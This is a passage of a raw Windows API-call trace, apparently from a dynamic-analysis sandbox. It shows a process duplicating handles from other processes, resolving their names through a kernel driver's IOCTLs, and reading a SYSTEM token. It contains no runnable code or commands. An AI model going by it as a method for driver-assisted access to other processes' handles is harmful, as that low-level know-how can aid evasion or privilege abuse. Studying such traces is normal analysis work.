Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.538] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x80) returned 0x1bcb50 [0102.538] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1bcb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1bcb50, ReturnLength=0x0) returned 0x0 [0102.538] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.538] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.539] PsLookupProcessByProcessId (in: ProcessId=0xe20, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.539] PsAcquireProcessExitSynchronization () returned 0x0 [0102.539] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff88004f095d0) [0102.539] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003446630, HandleInformation=0x0) returned 0x0 [0102.539] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.539] PsReleaseProcessExitSynchronization () returned 0x2 [0102.539] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x1a [0102.539] ObQueryNameString (in: Object=0xfffffa8003446630, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.539] ObfDereferenceObject (Object=0xfffffa8003446630) returned 0x2 [0102.539] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.539] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.539] CloseHandle (hObject=0xc0) returned 1 [0102.539] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0102.539] GetCurrentProcess () returned 0xffffffffffffffff [0102.539] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.662] CloseHandle (hObject=0xc0) returned 1 [0102.662] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.662] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.662] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.662] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.662] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.662] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.662] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.662] PsAcquireProcessExitSynchronization () returned 0x0 [0102.662] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0102.662] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0102.662] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.662] PsReleaseProcessExitSynchronization () returned 0x2 [0102.662] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0102.662] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.662] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0102.662] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.662] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.662] CloseHandle (hObject=0xc4) returned 1 [0102.662] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0102.662] GetCurrentProcess () returned 0xffffffffffffffff [0102.663] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.663] CloseHandle (hObject=0xc4) returned 1 [0102.663] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.663] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.663] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.663] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.663] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0102.663] GetCurrentProcess () returned 0xffffffffffffffff [0102.663] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x548, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x8, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0102.663] CloseHandle (hObject=0xc4) returned 1 [0102.663] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12dbc0, TokenInformationLength=0x800, ReturnLength=0x12d4b4 | out: TokenInformation=0x12dbc0, ReturnLength=0x12d4b4) returned 1 [0102.663] LookupAccountSidW (in: lpSystemName="", Sid=0x12dbd0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12d9b0, cchName=0x12d4bc, ReferencedDomainName=0x12d7a0, cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8 | out: Name="SYSTEM", cchName=0x12d4bc, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12d4b8, peUse=0x12d4e8) returned 1 [0102.666] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0xa, TokenInformation=0x12d568, TokenInformationLength=0x38, ReturnLength=0x12d4b4 | out: TokenInformation=0x12d568, ReturnLength=0x12d4b4) returned 1 [0102.666] GetLastError () returned 0x32 [0102.666] SetLastError (dwErrCode=0x32) [0102.666] GetLastError () returned 0x32 [0102.666] SetLastError (dwErrCode=0x32) [0102.666] CloseHandle (hObject=0xc8) returned 1 [0102.666] CloseHandle (hObject=0xc0) returned 1 [0102.667] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0102.667] GetCurrentProcess () returned 0xffffffffffffffff [0102.667] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0102.667] CloseHandle (hObject=0xc0) returned 1 [0102.667] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1bcb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1bcb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.667] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f095a8 | out: Process=0xfffff88004f095a8) returned 0x0 [0102.667] PsAcquireProcessExitSynchronization () returned 0x0 [0102.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095c8) [0102.667] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f095b0, HandleInformation=0x0 | out: Object=0xfffff88004f095b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0102.667] PsReleaseProcessExitSynchronization () returned 0x2 [0102.667] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0102.667] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff88004f095a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff88004f095a4) returned 0xc0000004 [0102.667] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0024edc20 [0102.667] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0024edc20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0024edc20, ReturnLength=0x0) returned 0x0 [0102.667] ExFreePoolWithTag (P=0xfffff8a0024edc20, Tag=0x0) [0102.667] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0102.667] KeUnstackDetachProcess (ApcState=0xfffff88004f095c8) [0102.667] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.667] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.667] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.667] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.667] PsAcquireProcessExitSynchronization () returned 0x0 [0102.667] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0102.667] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0102.667] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.667] PsReleaseProcessExitSynchronization () returned 0x2 [0102.667] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0102.667] ObQueryNameString (in: Object=0xfffffa8001a2d420, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.667] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0102.668] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.668] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.668] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0102.668] GetCurrentProcess () returned 0xffffffffffffffff [0102.668] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x150, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0102.668] CloseHandle (hObject=0xc0) returned 1 [0102.668] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1bcb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1bcb50*, lpBytesReturned=0x12d450*=0x1c, lpOverlapped=0x0) returned 1 [0102.668] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f095a8 | out: Process=0xfffff88004f095a8) returned 0x0 [0102.668] PsAcquireProcessExitSynchronization () returned 0x0 [0102.668] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095c8 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095c8) [0102.668] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f095b0, HandleInformation=0x0 | out: Object=0xfffff88004f095b0*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0102.668] PsReleaseProcessExitSynchronization () returned 0x2 [0102.668] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0102.668] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff88004f095a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff88004f095a4) returned 0xc0000004 [0102.668] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0024edc20 [0102.668] ZwQueryObject (in: Handle=0x150, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0024edc20, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0024edc20, ReturnLength=0x0) returned 0x0 [0102.668] ExFreePoolWithTag (P=0xfffff8a0024edc20, Tag=0x0) [0102.668] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0102.668] KeUnstackDetachProcess (ApcState=0xfffff88004f095c8) [0102.668] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.668] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.668] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.668] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.668] PsAcquireProcessExitSynchronization () returned 0x0 [0102.668] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff88004f095d0) [0102.668] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0015fb200, HandleInformation=0x0) returned 0x0 [0102.668] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.669] PsReleaseProcessExitSynchronization () returned 0x2 [0102.669] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb5 [0102.669] ObQueryNameString (in: Object=0xfffff8a0015fb200, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.669] ObfDereferenceObject (Object=0xfffff8a0015fb200) returned 0x2 [0102.669] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.669] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0102.669] GetCurrentProcess () returned 0xffffffffffffffff [0102.669] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x200, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0102.669] CloseHandle (hObject=0xc0) returned 1 [0102.669] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1bcb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1bcb50*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0102.669] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f095a8 | out: Process=0xfffff88004f095a8) returned 0x0 [0102.669] PsAcquireProcessExitSynchronization () returned 0x0 [0102.669] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095c8 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095c8) [0102.669] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f095b0, HandleInformation=0x0 | out: Object=0xfffff88004f095b0*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0102.669] PsReleaseProcessExitSynchronization () returned 0x2 [0102.669] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0102.669] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff88004f095a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff88004f095a4) returned 0xc0000004 [0102.669] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a001aec520 [0102.669] ZwQueryObject (in: Handle=0x200, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a001aec520, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a001aec520, ReturnLength=0x0) returned 0x0 [0102.669] ExFreePoolWithTag (P=0xfffff8a001aec520, Tag=0x0) [0102.669] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0102.669] KeUnstackDetachProcess (ApcState=0xfffff88004f095c8) [0102.669] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.669] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.669] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.669] PsLookupProcessByProcessId (in: ProcessId=0x46c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.669] PsAcquireProcessExitSynchronization () returned 0x0 [0102.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003235b30, ApcState=0xfffff88004f095d0) [0102.670] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003477400, HandleInformation=0x0) returned 0x0 [0102.670] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.670] PsReleaseProcessExitSynchronization () returned 0x2 [0102.670] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x84 [0102.670] ObQueryNameString (in: Object=0xfffffa8003477400, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.670] ObfDereferenceObject (Object=0xfffffa8003477400) returned 0x2 [0102.670] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.670] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0102.670] GetCurrentProcess () returned 0xffffffffffffffff [0102.670] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x95c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc8) returned 1 [0102.670] CloseHandle (hObject=0xc0) returned 1 [0102.670] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.670] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x70) returned 0x1a4c50 [0102.670] NtQueryObject (in: Handle=0xc8, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.670] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0102.670] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.670] PsAcquireProcessExitSynchronization () returned 0x0 [0102.670] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0102.670] ObReferenceObjectByHandle (in: Handle=0x95c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002faa730, HandleInformation=0x0) returned 0x0 [0102.670] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.670] PsReleaseProcessExitSynchronization () returned 0x2 [0102.670] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ee [0102.670] ObQueryNameString (in: Object=0xfffffa8002faa730, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.670] ObfDereferenceObject (Object=0xfffffa8002faa730) returned 0x5 [0102.670] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.670] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.670] CloseHandle (hObject=0xc8) returned 1 [0102.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x338) returned 0xc8 [0102.671] GetCurrentProcess () returned 0xffffffffffffffff [0102.671] DuplicateHandle (in: hSourceProcessHandle=0xc8, hSourceHandle=0x320, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.671] CloseHandle (hObject=0xc8) returned 1 [0102.671] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.671] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x90) returned 0x1a4820 [0102.671] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4820, ObjectInformationLength=0x90, ReturnLength=0x0 | out: ObjectInformation=0x1a4820, ReturnLength=0x0) returned 0x0 [0102.671] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4820 | out: hHeap=0x180000) returned 1 [0102.671] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.671] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.671] PsAcquireProcessExitSynchronization () returned 0x0 [0102.671] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0102.671] ObReferenceObjectByHandle (in: Handle=0x320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031a5c70, HandleInformation=0x0) returned 0x0 [0102.671] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.671] PsReleaseProcessExitSynchronization () returned 0x2 [0102.671] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0102.671] ObQueryNameString (in: Object=0xfffffa80031a5c70, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.671] ObfDereferenceObject (Object=0xfffffa80031a5c70) returned 0x2 [0102.671] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.671] HeapFree 